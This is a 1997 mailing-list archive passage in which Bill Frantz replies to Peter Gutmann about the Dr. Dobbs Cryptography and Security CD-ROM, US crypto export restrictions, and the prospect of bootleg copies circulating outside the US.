net a medium worthy of the highest level of First Amendment protection.
(Putting on my optimist hat.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From frantz at netcom.com  Mon Jun 30 22:31:43 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 1 Jul 1997 13:31:43 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <86772952415649@cs26.cs.auckland.ac.nz>
Message-ID: 



At 8:58 AM -0700 7/1/97, Peter Gutmann wrote:
>>Copyright laws will do nothing to prevent the text from being distributed.
>>All copyright laws will do is make you able to punish "offenders" after
>>the fact.  They have no mystical value to "protect" anything, especially
>>digital medium, which is easy to copy.
>
>What makes this case especially awkward is the fact that the CDROM can't
>legally be sold outside the US, which means the only way the rest of the
>world
>can get it is through illegal copies.  Given the immense usefulness of
>something like this, I'd say it's only a matter of time before bootleg copies
>start appearing outside the US, but because of the USG's position we can't
>pay
>for it even if we want to (DDJ wouldn't look too good if they accepted
>payment
>for what they knew was illegally exported crypto).  Perhaps a donation of the
>same amount to charity would serve as some equivalent to payment...

It might also be a nice gesture if the parts of the CDROM available outside
the US were not posted.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA